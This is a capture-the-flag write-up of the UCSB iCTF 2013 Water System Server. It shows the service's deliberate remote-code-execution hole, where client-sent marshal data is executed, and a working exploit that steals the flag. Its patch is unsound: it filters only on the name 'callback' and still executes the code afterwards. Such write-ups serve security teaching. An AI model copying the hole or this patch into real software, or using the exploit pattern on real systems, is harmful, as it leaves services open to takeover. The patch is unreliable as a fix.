UCSB iCTF 2013: Water Write-Up



Introduction

Last month, Brooklynt Overflow competed in the UCSB iCTF competition. Unlike some of the other competitions we’ve been playing in lately, this was an attack/defense style competition in which we had a Virtual Machine containing 9 vulnerable services; our goals were to find the vulnerabilities within the services, write exploits to be launched against our competitors and patch our services before anyone could attack us.

The Challenge

In this write-up, we’ll be focusing on the vulnerable Water System Server. The code is broken into WaterSystemServer.py and MeasurementLib.py, which can be found below.

WaterSystemServer.py:

#!/usr/bin/env python

from socket import *
from MeasurementLib import *
import base64
import marshal
import thread
import types

flag = None  
cookie = None
flag_id = None

measurements = set([])

def connection_handler(clientsock,addr):
  try:
    clientsock.send("Welcome back. Please insert your measurement\n:")
    data = clientsock.recv(BUFSIZ)
    if not data: return
    r = calculate(data)
    if not r:
      if int(data.split(',')[-1]) == flag_id:
        clientsock.send("%s\n"%flag)
      clientsock.close()
    else:  
      if data in measurements:
          clientsock.send("Thanks, but we have already seen this measurement\n")
          clientsock.close()
      else:
        measurements.add(data)
        clientsock.send("Floods ahead! Please enter your command\n:")
        data = clientsock.recv(BUFSIZ)  
        types.FunctionType(marshal.loads(base64.b64decode(data)), globals(), "callback")(clientsock)
        clientsock.close()
  except Exception as e: print e
  return

if __name__ == "__main__":
  
  HOST = "0.0.0.0"
  PORT = 3333
  BUFSIZ = 1024
  ADDR = (HOST, PORT)
  serversock = socket(AF_INET, SOCK_STREAM)
  serversock.bind(ADDR)
  serversock.listen(2)

  while True:
    clientsock, addr = serversock.accept()
    thread.start_new_thread(connection_handler, (clientsock, addr))
  serversock.close()  

MeasurementLib.py:

import math

def calculate(sequence):
  m = []
  for i in range(1,10):
    m.append(math.log10(1+1.0/i))

  nums = [x[0] for x in sequence.split(",")]

  o = {}

  for num in nums:
    if num in o:
      o[num] += 1
    else:
      o[num] = 1
  
  if len(o) != 9: return False

  else:
    for d in sorted(o):
      if not (float(o[d]) / sum([int(x) for x in o.values()]) >= m[int(d)-1] - 0.05 and float(o[d]) / sum([int(x) for x in o.values()]) <= m[int(d)-1] + 0.05):
	return False
  return True

The Exploit

The first thing we notice is that the service starts out by asking the user for some measurements, which it then runs a basic calculation on. After analyzing MeasurementLib.py, we see that the calculation is based simply on the first digit of each of the measurements provided and determines if the frequency of each digit is within an acceptable range. With this knowledge, combined with a capture of an attack from another team, we were able to determine that the measurements had to match the following criteria: ` {‘1’: 4, ‘2’: 2, ‘3’: 1, ‘4’: 1, ‘5’: 1, ‘6’: 1, ‘7’: 1, ‘8’: 1, ‘9’: 1} ` In other words, we had to supply a measurement consisting of 13 numbers, with 4 of them starting with a 1, 2 starting with a 2, and the rest containing just one each of 3 through 9. Because the service running on each teams VM kept a log of what measurements if had already processed, we put together the following loop to generate new combinations each time we ran our code.

import random

count = [4, 2, 1, 1, 1, 1, 1, 1, 1]
inp = []
for x in range(1,10):
    for y in range(count[x-1]):
        tmp = str(x) + str(random.randint(1,100000))
        inp.append(tmp)
measurements = ','.join(inp)

Now that we had gotten past the check, we were at the vulnerable section where we could retrieve the flag. The server asked for a command, which was then run through the following line:

types.FunctionType(marshal.loads(base64.b64decode(data)), globals(), "callback")(clientsock)

This line of code performs no check on the data, and ultimately executes whatever is passed to it. From the inner-most function, it performs a Base64 decode, deserializes marshaled code, and finally executes the code with a parameter of clientsock. Reversing this functionality, we came up with the following python script to create our payload, and retrieve the flag:

import marshal
import base64

def callback(self):
    clientsock.send(str(flag) + "\n")

payload = base64.b64encode(marshal.dumps(callback.func_code))
print payload

In order to submit our exploit, we had to use iCTF’s Exploit template. While doing this, we realized that there was a backdoor to get the flag out that we had completely overlooked - if we entered measurements that did not pass the calculation check, but included the flag_id as the last element, the flag would be returned. The Exploit class provided always receives the flag_id as a parameter, but given that we had already constructed our payload, we continued with our original plan. Combining the previous pieces of code together in the Exploit template yielded the following code:

#####################################################

# -*- coding: utf-8 -*-


class Exploit(object):

    def callback(self):
        clientsock.send(str(flag) + "\n")

    def execute(self, ip, port, flag_id):
        
        ## Exploit specific imports
        import re, base64, marshal, random, socket
        
        ## Set up socket to water service
        s = socket.socket()
        s.connect((ip, port))
        s.settimeout(3)

        ## Generate measurements
        count = [4, 2, 1, 1, 1, 1, 1, 1, 1]
        inp = []
        for x in range(1,10):
                for y in range(count[x-1]):
                        tmp = str(x) + str(random.randint(1,100000))
                        inp.append(tmp)
        measurements = ','.join(inp)

        ## Send measurements
        s.send(str(measurements)+"\n")
        s.recv(1024)
        
        ## Generate payload
        payload = base64.b64encode(marshal.dumps(self.callback.func_code))
        
        ## Send payload
        s.send(payload + "\n")

        ## Recover the flag
        flag = s.recv(1024).rstrip()
        flag = re.compile('(FLG\w+)').search(flag).groups(1)[0]
        self.flag = flag.rstrip()

    def result(self):
        return {'FLAG' : self.flag }
        
#########################################################

It took several tries to get our exploit accepted (we weren’t stripping the FLG from the returned flag originally, so the testbed wasn’t validating it properly), but ultimately the exploit was verified.

The Patch

Now that we knew how to attack the Water Server, it was time to correct our own service. We changed the code in two places: (1) To remove the backdoor with the flag_id and (2) To remove the vulnerable code execution that we took advantage of in our exploit. Correcting (1) was done by changing the line that sent the flag to instead close the connection, while (2) was fixed by looking for the function “callback” in the marshaled data and closing the connection if it was found. The modified code to protect our service can be found below.

#!/usr/bin/env python

from socket import *
from MeasurementLib import *
import base64
import marshal
import thread
import types

flag = None  
cookie = None
flag_id = None

measurements = set([])

def connection_handler(clientsock,addr):
  try:
    clientsock.send("Welcome back. Please insert your measurement\n:")
    data = clientsock.recv(BUFSIZ)
    if not data: return
    r = calculate(data)
    if not r:
      ## Original code
      # if int(data.split(',')[-1]) == flag_id:
      #  clientsock.send("%s\n"%flag)
      # clientsock.close()
      ##
      ## Prevent backdoor to flag
      if int(data.split(',')[-1]) == flag_id:
        clientsock.close()
      ##
    else:  
      if data in measurements:
          clientsock.send("Thanks, but we have already seen this measurement\n")
          clientsock.close()
      else:
        measurements.add(data)
        clientsock.send("Floods ahead! Please enter your command\n:")
        data = clientsock.recv(BUFSIZ)  
        ## Prevent execution of user code by checking for expected function name     
        if "callback" in base64.b64decode(data):
          clientsock.close()
        ##
        types.FunctionType(marshal.loads(base64.b64decode(data)), globals(), "callback")(clientsock)
        clientsock.close()
  except Exception as e: print e
  return

if __name__ == "__main__":
  
  HOST = "0.0.0.0"
  PORT = 3333
  BUFSIZ = 1024
  ADDR = (HOST, PORT)
  serversock = socket(AF_INET, SOCK_STREAM)
  serversock.bind(ADDR)
  serversock.listen(2)

  while True:
    clientsock, addr = serversock.accept()
    thread.start_new_thread(connection_handler, (clientsock, addr))
  serversock.close()  

Final Thoughts

This was a great competition, and a welcomed change from the jeopardy style games that have been running the past few weeks - a huge thanks to UCSB for all of their hard work setting this up! Brooklynt Overflow finished in 21st place, but we’ll be back next year to move up in the rankings!

All of the code in this post can be found in the ISIS Lab Github CTF-Solutions Repo